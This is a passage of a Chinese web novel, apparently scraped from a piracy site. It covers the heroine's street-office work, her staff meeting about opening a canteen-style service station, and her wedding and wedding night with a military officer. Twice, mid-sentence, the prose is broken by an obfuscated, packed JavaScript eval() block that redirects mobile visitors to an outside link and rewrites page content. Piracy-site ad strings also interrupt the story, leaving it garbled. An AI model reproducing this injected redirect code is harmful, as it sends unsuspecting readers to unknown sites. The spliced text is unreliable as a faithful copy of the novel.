《机械零件设计计算实例》、《军事知识词典》和《汽车故障预防与抢修急救》都有三四本一模一样的! 再喜欢也没必要买这么多吧? 她从后往前翻了一下那个什么计算实例里面密密麻麻全是计算公式和各种线条。 看得她眼晕赶紧将书合上。 而后就在蓝色封面的下方赫然发现了“刘波涛吴峥嵘著”的字样。 叶满枝:“!!!” 她又去查看另外几本书的封面和扉页词典里有他的名字但是排在好几行人名的最后面。 而汽车故障预防那本书的作者栏只有吴峥嵘一个人的名字。 天呐她家军代表同志竟然出过书啊! 她蹲在地上消化了一阵然后顾不上整理她那一箱子书了抽出一本汽车故障预防打算拜读一下吴峥嵘同志的大作。 这会儿吴峥嵘不在家她也就不用顾忌婚前不能坐床的习俗了。 脱了鞋子换了 衣服,先在柔软的床褥上打个滚,而后捧着军代表同志的作品,认真阅读起来。 吴峥嵘下班回家的时候,看到的就是他媳妇穿着他的背心短裤趴在床上,翘着小屁股呼呼大睡的画面。 哦,胳膊底下还压了一本书,好像也是他的。 叶满枝被乍然亮起的电灯晃醒,趴在床上缓了好一会儿,才迷迷糊糊地坐起来。 “你怎么才回来?” “明早要去拉练,军代室提前开个会。” 吴峥嵘说话时,正好瞥见她那苏式XX,从背心的大跨栏里跑出来一只。 叶满枝全无走光的自觉,缓过神以后,拿起枕边那本书,兴致勃勃地问:“军代表同志,你以前出过书呀?” “嗯。” “那你岂不是能收到很多稿酬?” 吴峥嵘将目光从那一大片白花花的饱满上移开,转身去桌上倒了杯凉白开。 “只有一本拿了稿酬,其他的都上交单位了。” “是不是这本?”叶满枝晃了晃手里的书,见他点了头,便语气欢快地说,“我一猜就是!这书上只有你一个人的名字!” 吴峥嵘对那些书和稿酬没有半分兴趣,灌了口凉水问:“你跟咱妈说今天几点回去?” “八点钟,我睡过头了,这就回去。” 叶满枝趁他背身的工夫,快速换好衣服,而后抱住他在嘴唇上啾啾了两下,便逃也似的飞奔出门。 还好还好,她用稿酬转移了吴峥嵘的注意力,他都没来得及问她婚前坐床的事! 她可真是机智! * 以防自己再次起火疖子,叶满枝渐渐将精力转移到自己的婚礼上。 他俩的不少同事和亲友都提前送了贺礼,光是整理记录这些东西就要花好多时间。 不再一门心思盯着工作,叶满枝的情绪终于放松了下来。 张勤简的招聘工作已经基本完成了,在众多关系户中精挑细选了两个人。 一个是根红苗壮的往届毕业生,高晓光,男,20岁。 据说学习成绩很好,之前一直想考大学,可惜连续两年落榜,今年还有一个月就要参加高考了,但家人觉得他考上的希 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546345|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望不大,于是趁着光明街招人的机会,把他塞来上班了。 高晓光不太爱说话,与刘金宝和赵二贺完全不是一个类型的。 但人家字写得不错,可以接替叶满枝,辅助凤姨做民政工作。 另一位同志彭兰,35岁,之前是粮食局的临时工,此次调来街道上班,明显是冲着正式干部编制来的。 与这两位相比,叶满枝觉得自己推荐的郎庆红是最靠谱的。 最起码人家有相关工作经验,还曾因此获得过县级先进个人。 街道办八人编制全部凑齐,张勤简给大家开了一个欢迎会,顺便重新调整了每个人的分工。 叶满枝的工作没有太大变化,只是把民政工作分给了高晓光,然后接手了曾经由庄婷负责的工商业工作。 张勤简开会的毛病就是拖沓,人家穆主任开会的时候,时长从不超过两刻钟,轮到老张这里动不动就能开一个小时。 叶满枝被他念叨得犯困,正想学习凤姨看看报纸时,挂在墙上的电话却忽地响了。 她顺手拿起话筒,听到对面有个温和的男声说要找叶满枝同志。 “我就是叶满枝。” “我是市人委办公厅的罗恒。叶满枝同志,你上周的来信,已经转交市长并批复了,请你有空来办公厅一趟。” 叶满枝在听到“市长”两个字的时候,脑子出现了短暂的空白。 她的信真的交到市长手里啦? 市长看到她的信还批复了? 鼻头在此时莫名酸了一下,她赶紧压下那股涩意,问:“罗同志,市长真的看到我的信了吗?他同意来给人民大课堂上第一课了吗?” 听了她的问话,办公室里瞬间安静下来,所有人的目光都聚焦到叶满枝的脸上。 罗恒在电话那边说:“市长愿意接受群众邀请,与大家交流学习心得。就是不知你们将开课时间定在了哪一天。” 叶满枝赶紧说:“活动的具体时间还没定,我们可以配合市长的时间!” “那就这个月20号或21号吧,你们派人来办公厅,具体细节还要商量一下。” 叶满枝赶紧答应下来,与他约定了去办公厅的时间。 …… 市长要来光明街为基层群众上“社会主义思想政治教育第一课”,无论是对光明街还是 对正阳区来说,都是一件大事。 叶满枝最先把这件事汇报给了穆兰,穆兰又是光明街的老领导。 所以,她就成了区里负责此次活动的领导。 市长来讲课,虽然只有一个小时,但现场的秩序、安全、卫生等等都要提前安排准备。 这对穆兰来说也是一项考验,光明街的小干部全都被她动员起来主抓这项工作。 如今已经入夏了,刘金宝和高晓光从人民体育场回来时,热得满头大汗。 高晓光这个文弱书生,半路上还中暑了,被刘金宝架着肩膀扛了回来。 叶满枝提议:“要不咱们单位买一张汽车月票吧,一个月三块多,谁出门办事,就带着月票出门,乘车往返。” 累成死狗的刘金宝终于有了些生机,赶紧点头说:“叶副主任这个提议好,其他时候还罢了,这大热天的走那么远的路,谁能受得了啊?” “这才几步路?让你们去走长征路还得了?”张勤简否决道,“咱们每个月的办公经费才两块钱,买什么月票?尽量发扬勤俭节约,艰苦朴素的精神,有困难都克服克服。” 所有人:“……” 你咋不克服克服呢? 出去跑腿的全是下面的小干部,主任是在办公室里统筹指挥的。 他不用在大热天出门,根本不了解小干部的苦! 叶满枝也是从小干部过来的,这会儿就替大家发言了。 “主任,区里拨的办公经费虽然少,但咱去年截留的利润不少呀。” 张勤简摆手说:“钱要花在刀刃上,入夏以后,除四害,修水渠,维修危房,哪个不用钱?以前的干部都是徒步出门办事的,轮到你们怎么就不行了?” 刘金宝眼里的希望彻底熄灭,意兴阑珊地坐回座位趴着去了。 叶满枝却接话道:“主任,既然提到经费的问题了,趁着今天大家都在,我也想谈谈我的看法。” “嗯,现在是大鸣大放百家争鸣,叶主任可以畅所欲言。” “咱们基层人员工作比较辛苦,今天高晓光还中暑了,我觉得只要有条件,还是应该给大家改善一下办公环境的。”叶满枝叹道,“咱们一直说开源节流,但开源的机会很少,几乎都是节流。” “最近忙着邀请市长,我也额外关注了一下咱们街道的工商业工作。工业就不说了,但商业其实还有很大的发展空间。咱们街上只有两家国营饭店和两家公私合营饭店,全街将近两万居民,这四家饭店根本不够服务群众的,咱们街道完全可以再开一家饭店。” 张勤简提醒:“叶主任,街道办不能盈利,开饭店的事情归商业局管。” “街道办不能开饭店,但是可以开服务站啊!咱就说饭店是‘便民饮食服务站’,没人能挑出毛病。” 张勤简:“……” “只要有人去服务站吃饭,咱们就有进项,到时候完全可以用这些钱给大家买一张月票嘛!” 叶满枝刚上任的时候就想给街道办买月票,或是按次报销车费,但她一直忍着没说。只等着全员到齐以后,再提这件事。 新同志若是不像她当初似的吃点苦头,哪能体会她这个提议的可贵啊! 作者有话要说 一百个红包,明天见~ 第 72 章 婚礼 第72章婚礼 叶满枝与张勤简共事的时间不算短,对他还是有些了解的。 早在当副主任的时候,他就把钱袋子捂得死紧,哪怕是穆主任,也休想从他手里抠出钱来。 若想花钱,那得先填充小金库。 正因看透了这一点,叶满枝才会提出开服务站的想法。 街道可以大搞工业,但不能从事商业活动,就像张勤简所说,那是人家商业局的工作。 饮食服务站与饭店差不多,开起来以后,很可能被人举报。 可是,张勤简在充盈小金库的事情上很有决断,竟然冒着被举报的风险,赞成开设服务站了! 张主任是这么说的,“先开着吧,万一被人举报了,咱们就关掉。要是没人管,咱就继续开。” 因着要买锅碗瓢盆,他这次批了10块钱的启动资金。 比煤炉厂建厂时多了整整5块呢! 叶满枝:“……” 行吧,开服务站的事好歹有了眉目。 刘金宝对她能从老张手里抠出钱来的能耐很是佩服,尽管最终只争取到了按次报销车票的福利,但他已经很知足了。 所以,他不但揽下了为服务站寻找店面的任务,还主动张罗起为叶主任随礼的事。 单位里有人办喜事,同事们通常是每人凑点份子钱,然后一起买个像样的贺礼。 刘金宝列了一张物品清单,其上都是不算太贵,又能日常用到的小物件。 他把这张单子给了叶满枝,让她从上面挑选贺礼。 “其他亲朋已经送过,或家里已经买的东西,大家就不再送了。”刘金宝说,“我姐结婚的时候,收到了五个脸盆。小叶主任,你别跟大家客气,这些东西的价格都差不多,你选能用得上的就行。” 叶满枝觉得金宝儿特别贴心,她已经收到四个暖瓶了,真怕再另外收到暖瓶。 但她其实不太想让大家凑份子,主要是不好意思让新同事刚上班就随礼。 她自己要是遇上这种事,肯定要暗呼倒霉的。 但她如果拒绝,以后其他人办喜事的时候,可能也不好意思接受随礼。 那么之前给别人随过礼的人就要吃亏了。 人情往来的事比较复杂,叶满枝不想搞特殊,便在清单上选了一面暂时还没人送过的穿衣镜。 大不了给同事们多回点喜糖和喜饽饽。 * 举办婚礼的前一天,亲戚们都送了自家孩子去新房里滚床。 大姐家的两个崽,二姐家还没满周岁的妞妞,四哥家的麦多,还有吴峥嵘舅舅家的大孙子,一共五个孩子。 坐在那两米多的床上显得特别袖珍。 新人在婚前不许见面,滚床时叶满枝并不在场,但是,据当晚在娘家留宿的大姐说,吴峥嵘当时面不改色,笑吟吟地给每个滚床童子,回了一个两块钱的大红包。 “我家那两个上次滚床的时候,一共才收了五毛钱,我这妹夫可真大方!”大姐冲她扬扬下巴,意味深长地问,“你知道我为什么回来吧?” “为什么啊?” 叶满枝也纳闷呢,滚完床以后,大姐让姐夫把孩子带走了,自己却独自留了下来。 “啧,还能为啥!怕你明天洞房的时候,什么也不懂闹笑话呗。” 叶满枝惊讶道:“不是咱妈跟我讲吗?” 她记得大姐结婚那会儿就是常月娥跟她偷偷摸摸谈话的,当时她们三姐妹住在一个屋里,常月娥把她跟二姐都撵出去了。 “咱妈讲得太含蓄,我当时都没怎么听懂,所以轮到你结婚的时候,我就把这事揽了过来。” 叶满枝:“……” “你那是啥表情?还嫌弃我啊?”大姐在她脑门上点了点,怀疑地问,“叶来芽,我现在跟你说这些为时不晚吧?” 小两口领证半个多月了,万一把持不住做了点什么,也不是没可能的。 她这个妹妹比她胆子大,谈对象的时候就敢跟男人亲嘴了。 叶满枝怔了一下,明白大姐的意思后,立即义正词严地强调:“当然不晚啦,我跟吴峥嵘都是正经人,你想什么呢!” 大姐心说,正经也是假正经。 但她面上保持着严肃,将碍事的叶梨花赶下床,然后拉着妹妹嘀嘀咕咕,这样那样,特别认真仔细地做了一番婚前教育。 叶满枝被她说得心慌意乱,双颊绯红,恨不得捂住大姐的嘴,让她别讲了。 “我比咱妈讲得实用多 了你可真是身在福中不知福。”大姐在她的红脸蛋上掐了一把说“你自己消化一下吧我先回去了明早再过来。” 叶满枝满脸通红神思恍惚地将大姐送到房间门口就停住了脚步。 她跟吴峥嵘不是没做过亲密的事但她以前总感觉眼前像是被蒙了一层窗户纸朦朦胧胧的让人看不真切。 这会儿窗户纸被大姐捅破了她确实需要一些时间独自消化一下。 叶满枝本就为明天的婚礼忐忑 鹅小说全网首发无弹窗免费阅读qiexs?(请来企 鹅小说 看最新章节 完整章节)接受了婚前教育以后就更难入睡了。 抱着刚洗过澡的叶梨花揉搓许久把小猫揉得打了哈欠她还了无睡意。 她从床上爬起来决定给党组织写一份思想汇报写到一半感觉有了困意赶紧重新躺回床上盖上被子睡觉。 …… 叶满枝前一天睡得晚但婚礼当天不到六点就被常月娥喊起来了。 “吉时不是十点多吗?起那么早干什么啊?” 叶满枝趴在床上不想动她平时上班都是七点半起床的! 她登记结婚的日子是常月娥找“魏大姑”算的那天又正好赶上她升职当副主任常月娥便觉得“魏大姑”有些门道所以婚礼日期和结亲吉时也让“魏大姑”帮忙算了。 当然这种事是不足为外人道的她对外宣称一切从简办婚礼姑爷上午来家里一趟就行。 但私下里特意叮嘱吴峥嵘务必要在10点28分登门接亲。 为此吴峥嵘几乎每天都要校对一遍手表生怕踩了丈母娘的忌讳。 常月娥把赖床的新娘子抓出来在她屁股上拍了一下说:“都是要结婚的人了咋还这么不懂事!人家东妹已经来了!” “东妹来啦?”叶满枝赶紧坐起来“她怎么来这么早啊?” 郑东妹在街道的理发馆当理发师傅剪头手艺中规中矩但梳头是一把好手。 好多新人办婚礼时都请她去给新娘盘头。 郑东妹如今的名声响亮得很连其他街道的新娘子都去找她。 叶满枝原本打算自己随便梳个发型就行了但郑东妹还记着被送去话剧团学徒的恩情听说叶满枝领证结婚以后主动请缨要在婚礼这天替她梳头。 “那姑娘办事挺稳当 ,据说要先看看你的婚礼服装,根据你穿的衣裳弄发型。” 闻言,叶满枝连忙起床洗漱,匆匆吃了几口早饭,就将早早赶来帮忙的女同志们全都请进了她的房间。 结婚流程虽然从简了,但新娘子出门前要准备的并不少。 除了梳头的,还有化妆的。 叶满枝只在演出的时候化过妆,画俩粗眉毛,弄俩红脸蛋,她觉得不好看,本来不想化妆的。 但三嫂说她可以帮着画,而且还提前在家试了几个妆容。 她觉得画了跟没画似的,但又比素面朝天的时候更有精气神。 叶满枝愿称之为“黄大仙的神奇能力”。 所以,她对今天的新娘妆还挺期待的。 黄黎拿出化妆的家什,而后在她的礼服上认真打量几眼。 小姑子的审美还是比较在线的。 黄黎来到这里的时间不算短,其间参加过几场婚礼。 新娘的服装五花八门,有穿旗袍的,有穿列宁装的,还有穿工装的。 但无一例外,都很宽松肥大,哪怕是喜庆的红旗袍也宽松得像唱大戏的。 可是,叶满枝这套新娘装是她自己做的,上身是浅色衬衫,下身是长及小腿的大红色长裙。 衬衫布料可能在箱底压得有点久了,颜色介于米黄和米白之间,黄黎觉得有点像香槟色。 浅色衬衫平整地扎进红裙里,隐约勾勒出一截细细的腰身,虽然没有后世的衣服修身,但与其他人宽松的礼服相比,她这套衣服已经算是很时髦的了。 哪怕放到几十年后也顶多被人说一句复古。 黄黎在现代是个摩登女性,攒了不少美妆心得,可惜来了五十年代以后毫无用武之地。这回趁着小姑子结婚,她着实大显了一番身手。 叶满枝有一对远山眉,黄黎只在眉毛上微微做了调整,再用火柴棍给她烫个卷翘的睫毛,就让那双眼睛显得愈发灵动有神了。 在场女同志为火柴棍的操作惊呼时,黄黎也对自己的发挥很满意。 可惜新娘子本人特别不争气,亲妈帮她梳头时,刚念了一句“一梳梳到尾”,叶满枝就开始眼眶泛红,“二梳梳到白发齐眉”的时候,她眼泪已经流下来了。 而且屋里还有包括林青 梅在内的,好几个年轻姑娘陪哭,等常月娥将一首梳头歌全部唱完时,新娘子已经扑到亲妈怀里抽泣了,好不容易画好的妆容完全没法看。 黄黎:“…… * 吴峥嵘带着迎亲队伍,在10点28分准时来叶家接亲的时候,叶满枝已经哭过三次了。 最终是常家大舅妈将陪哭的小姑娘们全都撵出房间,才让新娘子控制住了情绪。 由着黄黎给她重新化了妆,然后被郑东妹在发间和胸前,分别戴了一朵小红花。 吴峥嵘给拦在门口的一众小豆丁们,散出去三斤中级奶糖。 等他好不容易绕过小门神,走进房间时,见到的就是穿着红裙,戴着红花,人比花娇的新媳妇。 他将目光定在新娘身上许久,而后在众人的打趣中,伸出一只手说:“叶满枝同志,我来接你了,咱们这就出发吧? 两人私下没少牵手,对叶满枝来说,牵手的动作已经成了惯性。 可是,当吴峥嵘穿着笔挺的军装,肩章、领章、党徽、军功章,一应俱全地出现在她的房间时,她不由自主就想到了昨晚的婚前教育。 脸颊立即变得滚烫,眼神也不敢与他正面相碰了。 她原本还想着,结婚当天在外人面前要故作娇羞一下,这回好了,她这娇羞根本就不用装。 在众人的起哄声中,与他掌心匆匆交握几秒便快速松开,被众人簇拥着走出了房间。 按理来说,姑娘跟着姑爷出门前,父母还要嘱咐交代几句。 可惜叶守信比他闺女还不争气,望着养了十九年的大闺女,他那双已经哭成大核桃的肿眼泡里再次滚下泪来。 即使被邻居和工友揶揄调侃了,那眼泪仍是控制不住,只对姑爷说了句“你一定要好好对我闺女,就背过身去,再也说不出话了。 早在二姐出嫁时,叶满枝就见识过老叶这副德行,她当时还偷偷嘲笑过老叶。可是这会儿看到亲爹哭得快要背过气去了,她好笑的同时,又觉得心酸,眼眶里再次蓄上了泪水。 好在家里还有常月娥能在关键时刻顶事。 拉着闺女说,以后要好好跟女婿过日子,现在已经是领导干部了,在家里不要总耍小孩子脾气。 而后又话锋一转说 ,“不过,你跟峥嵘是组织介绍的,后来又谈了一段时间的对象,你是个什么样的人,他心里都清楚。所以结了婚以后,你也不用特意改变,在家什么样,出嫁还什么样,好好过日子就行了。 众人:“…… 话是这么说没错,但听着总觉得不太对劲呢。 你好歹多说几句客套话呀! 眼瞧着新人快要出门了,那老叶还在抹眼泪,一句像样的话也没跟女儿女婿说,大家嘴上笑话老叶,心里也在感叹老叶疼闺女,是个性情中人。 见状,吴峥嵘上前,揽过老丈人的肩膀,将人带进了最近的一个房间。 外人不知翁婿俩在屋里交流了什么,可是,房门再次打开时,叶守信那两个大核桃里的眼泪已经止住了。 拍着女婿的肩膀说:“时候不早了,好多宾客都直接去了食堂,你们赶紧过去迎客吧! 吴峥嵘对岳父岳母笑道:“爸妈,那我先带来芽过去了,你们收拾好以后,也尽快带亲戚朋友们去吃席! 叶满枝心里好奇他跟老叶说了什么话,可是当着这么多人的面,她又不好多问。 只能沿着走廊和楼梯间的红色喜字,跟着他一路下楼,在噼噼啪啪的爆竹声中,坐上了他的自行车。 这年头,城里的自行车,农村的拖拉机,都是结婚迎亲的排面。 吴峥嵘让新媳妇坐到车后座,推着自行车,围着大院绕了一圈,身后还簇拥着一长串迎亲队伍,有军代室的未婚小伙子们,也有他的几个表弟和同学,还有叽叽喳喳凑热闹的孩子们。 迎亲队伍在院儿里兜兜转转一大圈,零星散出去不少喜糖,算是对街坊们广而告之,他俩结婚了! 举办婚礼的地点是656厂的二食堂。 常月娥和吴小姑原本想在16号院摆喜酒,但是双方邀请的宾客实在太多了,除了亲戚朋友,还有双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546346|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方的同事,尤其是吴峥嵘,不但要邀请厂领导,还要请省军区的领导和他的一些战友们。 若是在这个小院子摆酒,预计要翻四次台,才能让所有宾客吃上酒席尽兴而归。 所以,听说有几个年轻工程师借用食堂办过酒席以后,吴小姑也拍板,让他们借用食堂的场地,请大师傅帮忙置办席面,到时候把钱票补贴给厂里就是了 。 二食堂帮着操办过好几场婚礼 小说全网首发无弹窗免费阅读qiexs?(请来企鹅 小说 看最新章节 完整章节)算是很有经验的这会儿大门正对的墙上挂着一条红色横幅上书“叶满枝同志、吴峥嵘同志结婚典礼”。 打饭窗口的玻璃上还应景地贴着好多红喜字和拉花。 吴峥嵘将自行车停好后低声问:“你今天几点起来的?现在饿不饿?” “不饿不饿”叶满枝往食堂里望了一眼催促道“咱俩赶紧去迎客吧!” “有秦祥和刘金宝在你急什么?” 婚礼需要有人出面张罗亲戚朋友由家人负责招待而双方的同事则由秦祥和刘金宝负责引导接待。 两个新人只需要在食堂门口迎客与大家握手礼金礼簿什么的都不用操心算是这场婚礼上最轻松的人了。 叶满枝心里只顾着紧张了忽视了那股饥饿感可是被他这副云淡风轻的样子影响以后她突然就觉得有点饿了。 “要不咱俩找点东西吃吧?” “嗯。” 吴峥嵘把媳妇带去后厨从烧鸡上掰了一只鸡腿给她“吃吧。” “……”叶满枝无语道“我把鸡腿吃了一会儿席面上岂不是少了一只鸡腿?” “没关系以防有同事不请自来五哥特意给咱们多订了五只烧鸡。” “……” 夫妻俩躲在后厨偷吃烧鸡的时候双方家人也陆续赶到了。 叶守信没见到两个新人在门口急得团团转“他们不是骑自行车来的吗?咋还不见人影呢?” 吴小姑二话没说目标明确地跑去后厨把偷摸吃小灶的两人逮了出来。 “外面十桌领导宾客还没吃呢”吴小姑轻斥道“你们倒是先造上了!” 吴峥嵘面不改色道:“我早上没吃饱让来芽陪我吃点!” 吴小姑:“……” 早上的三个馒头和两碗粥还填不满你那无底洞似的胃吗? 她懒得在这种时候跟年轻人掰扯“你俩赶紧出去招待客人婚礼马上就要开始了!” 吴峥嵘掏出手绢让小叶同志擦嘴上的油等她整理好以后才带着人出去与他爷爷奶奶、到场的厂领导、军区领导还有特意来当证婚人的穆区长打了招呼。 现场的 婚礼司仪有两位一位是厂办尹主任另一位是林青梅。 叶满枝觉得青梅有应付大场面的能力而且今天来参加婚礼的宾客里有不少领导和同事。 她提前询问青梅想不想趁机露露脸青梅也认为这是个难得的机会于是毫不犹豫地应承下婚礼司仪的工作。 叶满枝和吴峥嵘被两位司仪请到台上并排站在一起。 只听尹主任高声说:“请同志们安静!我宣布叶满枝同志吴峥嵘同志的结婚典礼正式开始!首先进行婚礼第一项向主席像行礼!” 婚礼横幅下面挂着一张巨大的主席像。 闻言新婚夫妻转过身对着主席同志三鞠躬。 而后在全场的掌声中重新面对宾客。 林青梅一边鼓掌一边说:“下面进行婚礼第二项 吴峥嵘:“……” 他怎么记得第二项是证婚人致辞然后新人表态之后就可以开席了? 叶满枝对这种环节有一定的心理准备她参加过同学的婚礼现在年轻人的婚礼都要表演节目。 她与吴峥嵘几乎是同时伸手接那个大喇叭的在宾客善意地哄笑中叶满枝率先接过了大喇叭与吴峥嵘低声商量几句后对众人说:“没想到今天还要表演节目既然大家想看那我们就给大家唱首歌吧?” 台下有人喊:“可以!” “那就唱一首《在祖国和平的土地上》吧!” 叶满枝平时喜欢唱苏联歌曲曲调比较欢快。 但在今天这种场合既有厂领导又有军区领导还是唱革命歌曲更合适也更有力量。 她用手轻轻打着拍子与吴峥嵘互视一眼后齐声唱道:“在祖国和平的土地上~生活天天向上升~青年人怀着远大的理想~老年人越活越年轻~我们工人劳动最热情~生产纪律日日新~农民已经组织起来~年年都有好收成~”[1] 这首歌是656厂广播站经常播放的歌曲日日听月月听几乎全厂人都会唱。 夫妻俩唱完第一段以后在场的宾客很快就跟着小两口一起大合唱了。 上百人的歌声气势磅礴险些将食堂的屋顶掀翻了。 台下的 常月娥跟着唱了一段,扔掉手里的花生壳,低声对亲爹说:“爸,这姑爷找得不错吧?你看咱家来芽和姑爷多登对!咱来芽多好看!” 来芽那身裙子太好看了,红色特别正,站在身姿笔挺的年轻军官身边,这就是一对璧人呀,真是天造地设的一对! 常姥爷心不在焉地答应着,目光往厂领导那桌扫去时,忍不住问:“周振业和他媳妇怎么也来了?两边都退婚了,请他参加来芽的婚礼干什么?” 常姥爷心里还对周家人耿耿于怀,觉得自己当年被狗屎糊住了双眼,才给孙女定了这么一个娃娃亲,耽误了十几年好时光。 “我跟老叶没请他,我恨不得跟周家老死不相往来,谁会请他呀!”常月娥撇嘴说,“可能是姑爷请的,他们都是厂领导,有可能抹不开面子就请了。” 叶守信替女婿撇清关系,“来芽说不是峥嵘请的,那周振业没有请柬,估计是怕其他领导都来了,他不出席太显眼,所以就不请自来了。” 台上的婚礼还在继续进行,夫妻俩表演节目以后,很快就到了证婚人讲话环节。 叶满枝和吴峥嵘暂时走下舞台,将大喇叭给了沈厂长和穆副区长。 下台阶时,吴峥嵘习惯性地想去扶她的手,叶满枝却触电似的一下子躲开了。 “……”吴峥嵘偏头低声问,“小叶主任,你今天怎么回事?牵也不让牵,看也不让看,我刚才在台上瞅了你那么多次,你连个眼神都欠奉。” “……” 叶满枝心说,都怪大姐的婚前教育,她现在一靠近吴峥嵘就感觉热气腾腾的…… 作者有话要说 [1]《在祖国和平的土地上》,作词光未然 一百个红包,明天见~ 第 73 章 闹洞房 第73章闹洞房 在叶满枝的预想中,婚宴顶多持续两三个小时,等大家敬完酒、吃完席,她就可以回家数礼金了。 然而,让人意想不到的是,普普通通的一场酒席,最后竟变成了流水席! 656厂要争取提前完成生产任务,所以生产线上人停车不停,哪怕是周末也有人值班。 老叶和吴峥嵘在厂里的人缘都不错,很多工人下班以后直接来食堂送礼吃席。 上一拨人吃好离开后,下一拨人又来接茬了。 一场婚礼酒席从中午吃到了傍晚,而作为新郎官的吴峥嵘被灌得着实不轻。 他今天可谓是四面楚歌,不但要招待厂里的同事,还要应付部队的战友。 其他人还算有分寸,可是今天还来了两个与他年纪相仿的军校同学。 这二位如今一个是省军区的副团长,一个在滨江军事学院当讲师。 他俩不但自己敬酒,还鼓动得军代室的年轻军官们纷纷倒戈,从挡酒的变成敬酒的。 吴峥嵘一个人对战十几个,哪怕有表哥和舅兄们帮忙,经过一场鏖战后,还是被喝趴下了。 酒席结束时,他是被人架回新房的。 “小嫂子,你看这事闹的,我也没想到能把老吴喝成这样,我印象里他挺能喝的呀!” 邹凯给新郎灌酒的时候气势十足,可是这会儿面对新娘子控诉的眼神时,还是不自在地摸了摸鼻子。 “嫂子就是嫂子,喊什么小嫂子!”杨树林在他肩上拍了一下,对着叶满枝赔笑道,“弟妹,大家太为你们高兴了,没承想峥嵘会醉成这样,你多担待多费心啊……” 杨树林和邹凯都是早已娶妻生子的,吴峥嵘在婚姻方面属于落后分子,之前没少被人取笑,别人的儿子都快小学毕业了,他还是光棍儿呢。 他们来参加婚礼时,多少是带着点探究和好奇的。 结果到了地方才发现,这小子竟然老牛吃嫩草!娶了个这么年轻漂亮的媳妇,听说还是国家干部。 所以,今天虽是吴峥嵘大喜的日子,但也不能让他太过得意,这酒必须喝! 叶满枝是第一次见这两位战友,对于把吴峥嵘灌倒的罪魁祸首,她实在无话可 说。 她今天也喝了不少酒,说了几句客套话,就装作不胜酒力的样子,请秦祥帮忙送客,顺便把军代室这群军官也一并带走。 双方亲友还在二食堂做收尾工作,闲杂人等全都离开以后,新房里就只剩新婚小夫妻了。 叶满枝坐到床边,试探地在他红扑扑的侧脸上摸了一把,感觉体温有点高,脖子那里也潮乎乎的,于是伸手帮他把军装的扣子解开了。 在夏天结婚是她的要求,婚礼上可以穿漂亮裙子,满足她美美举办婚礼的愿望。 但她没想到军装礼服竟然这么厚! 全套礼服穿了一天,又喝了那么多白酒,吴峥嵘前胸后背全是汗。 她怕吴峥嵘中暑,想帮他把军装外套脱了。 但是醉酒的男人她抱不动,只能解开外套扣子,再解衬衫扣子,先帮他把前胸的汗擦一擦。 她此时的内心全无杂念,一边解着衬衫纽扣,一边感叹自己的裁缝手艺真是太好了! 这件衬衫是她用大姐送的那台缝纫机,在婚前赶工给吴峥嵘做的。 延续她一贯节省布料的优良传统,选择了比较贴合身材的剪裁方式,上身效果比部队统一发放的衬衫好多了。 军代表同志穿上身以后,英俊程度又上了一个大台阶。 然而,她擦着擦着,就渐渐觉出了异样。 两人拥抱的时候,她趁机摸过吴峥嵘的身体。 男人的胸腹肌肉虽然紧实,但在放松的状态下,跟她的身体没什么不同,手感其实是软的。 只有跟她接吻,身体紧绷的时候,那些肌肉才会硬起来。 可是,她这会儿心无旁骛地用毛巾给吴峥嵘擦汗,掌心下的腹肌怎么变硬啦? 她心里疑惑,倾身去观察那张微微醺红的俊脸。 睫毛没有频繁扇动,眼珠也没移动半分。 但她就是觉得蹊跷,凭直觉趴到他耳边问:“军代表同志,你是不是装醉呢? 军代表同志没有任何动静。 可是叶满枝的一只手还搭在他的腹部,吐息喷洒到耳畔时,她感觉毛巾下的肌肉又变硬了。 她在心里轻哼。 装得还挺像! 叶满枝把毛巾扔到一边,双手撑在他身体两侧,居高 临下地盯着这个“醉鬼 而后俯身在他有些干的嘴唇上亲了亲,像叶梨花舔爪似的,把他干燥的唇珠润湿了。 等到耳边的呼吸逐渐紊乱时,叶满枝冷不防地伸手捏住“醉鬼的鼻子,无情阻住了他的呼吸。 让你装! 被捏住鼻子的醉鬼终于闷笑出声,拉开那只作乱的手后,揽过她的脖子加深了唇上的吻。 叶满枝在他胸口拍了两下,埋怨道:“你讨不讨厌啊,干嘛装醉?你脸上那么红,浑身全是汗,我还以为你中暑了呢! 吴峥嵘睁开眼睛,快速扫视四周,低声问:“他们都走了? “早就走了!你赶紧起来把外衣脱下来,小心真的中暑了!叶满枝又问,“你干嘛装醉啊?你那么重,我都抱不动你! 吴峥嵘撑起身体观察窗外的情况时,被新娘子伸手将脸掰正,只好收回目光,先跟她解释:“那群小子从中午喝到晚上,磨磨蹭蹭不肯走,其实是想闹洞房呢。我要是不醉,你现在就要被人围观跟我一起咬苹果了。 “什么咬苹果? 叶满枝之前是未婚女同志,参加别人婚礼时,吃完席就直接离开,闹洞房的事轮不到她。 所以她并不知道闹洞房有什么花样。 “就是在新婚夫妻之间吊个苹果,让两人一起去咬,快咬到的时候,再把苹果提高…… “那不就亲到一起了吗? “嗯。 “这种事有什么可围观的啊!庸俗! 叶满枝不怕跟他亲嘴,但不想当着外人的面亲嘴,那多难为情啊! “行吧,看在你还算机智的份上原谅你了。 叶满枝倒了杯凉白开给他润润嗓子,然后奖励地在他唇上印了一下。 她这两天只顾着为婚礼紧张了,完全没有想到闹洞房这一茬。 父母和姐姐也没跟她提过。 